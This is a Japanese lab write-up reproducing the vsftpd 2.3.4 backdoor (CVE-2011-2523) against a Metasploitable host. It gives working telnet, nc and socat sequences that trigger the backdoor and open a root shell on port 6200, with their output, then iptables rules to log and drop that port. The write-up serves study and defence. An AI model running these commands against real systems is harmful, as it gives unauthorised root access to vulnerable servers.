■CVE-2011-2523の対策を考える。
開放していないポートもFWでログ取得して閉じておくと、
バックドアポートと通信出来なくなって、ログも残る。
使っていないポートにも対策が必要だと考えさせられる脆弱性。
msfconsoleを使ってvsftpdのCVE-2011-2523でバックドアを作成してみる。
http://labunix.hateblo.jp/entry/20180505/1525527452
■msfconsoleで使用するモジュールは以下にある。
$ ls /usr/share/metasploit-framework/modules/
auxiliary encoders exploits nops payloads post
■exploitで使用したrubyスクリプトは以下に配置されている。
$ find /usr/share/metasploit-framework/modules/ -type f -name "*vsftpd*"
/usr/share/metasploit-framework/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
■nmapのnseスクリプトは以下にある。
$ dpkg -L nmap | grep ftp-vsftpd-backdoor
/usr/share/nmap/scripts/ftp-vsftpd-backdoor.nse
■telnet,nc,pythonコマンドによる再現
VSFTPD v2.3.4 Backdoor Command Execution
https://metalkey.github.io/vsftpd-v234-backdoor-command-execution.html
ユーザ名の後ろに「:)」をつけてftpログイン、
別セッションでncコマンドでtcp/6200に接続して、pythonコマンドを実行
$ telnet 192.168.0.2 21
Trying 192.168.0.2...
Connected to 192.168.0.2.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER user:)
331 Please specify the password.
PASS pass
$ nc -vn 192.168.0.2 6200
(UNKNOWN) [192.168.0.2] 6200 (?) open
python -c "import pty;pty.spawn('/bin/bash')"
uid=0(root) gid=0(root) groups=0(root)
■ncコマンドのみのシェル版
$ nc -vn 192.168.0.2 21
(UNKNOWN) [192.168.0.2] 21 (ftp) open
220 (vsFTPd 2.3.4)
USER user:)
331 Please specify the password.
PASS pass
$ nc -vn 192.168.0.2 6200
Connection to 192.168.0.2 6200 port [tcp/*] succeeded!
/bin/sh -i
sh: no job control in this shell
sh-3.2# id
uid=0(root) gid=0(root)
$ nc -vn 192.168.0.2 6200
Connection to 192.168.0.2 6200 port [tcp/*] succeeded!
/bin/bash -i
bash: no job control in this shell
root@metasploitable:/# id
uid=0(root) gid=0(root)
■手入力を減らしてnseと同様の内容にした版
$ (sleep 1;echo "USER X:)";sleep 2;echo "PASS X") | nc -vn 192.168.0.2 21
Connection to 192.168.0.2 21 port [tcp/*] succeeded!
220 (vsFTPd 2.3.4)
331 Please specify the password.
$ echo '/bin/bash -i' | nc -vn 192.168.0.2 6200
Connection to 192.168.0.2 6200 port [tcp/*] succeeded!
bash: no job control in this shell
root@metasploitable:/#
■最近はncコマンドが無かったりするので、socat版
$ (sleep 1;echo "USER X:)";sleep 2;echo "PASS X") | socat - TCP4:192.168.0.2:21
220 (vsFTPd 2.3.4)
331 Please specify the password.
$ socat - TCP4:192.168.0.2:6200
/bin/bash -i
bash: no job control in this shell
root@metasploitable:/#
■いずれの方式もログは「[pid 5413] CONNECT: Client "192.168.0.X"」の形式のみなので、
iptablesでログを残して破棄する。
$ sudo iptables -A INPUT -p tcp --dport 6200 -j LOG
$ sudo iptables -A INPUT -p tcp --dport 6200 -j DROP
$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
LOG tcp -- anywhere anywhere tcp dpt:6200 LOG level warning
DROP tcp -- anywhere anywhere tcp dpt:6200
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
==> /var/log/kern.log <==
May 5 12:20:34 metasploitable kernel: [16037.981853] IN=eth0 OUT= MAC=52:54:00:XX:XX:32:fe:54:00:XX:XX:XX:08:00 SRC=192.168.0.5 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=31573 DF PROTO=TCP SPT=56330 DPT=6200 WINDOW=29200 RES=0x00 SYN URGP=0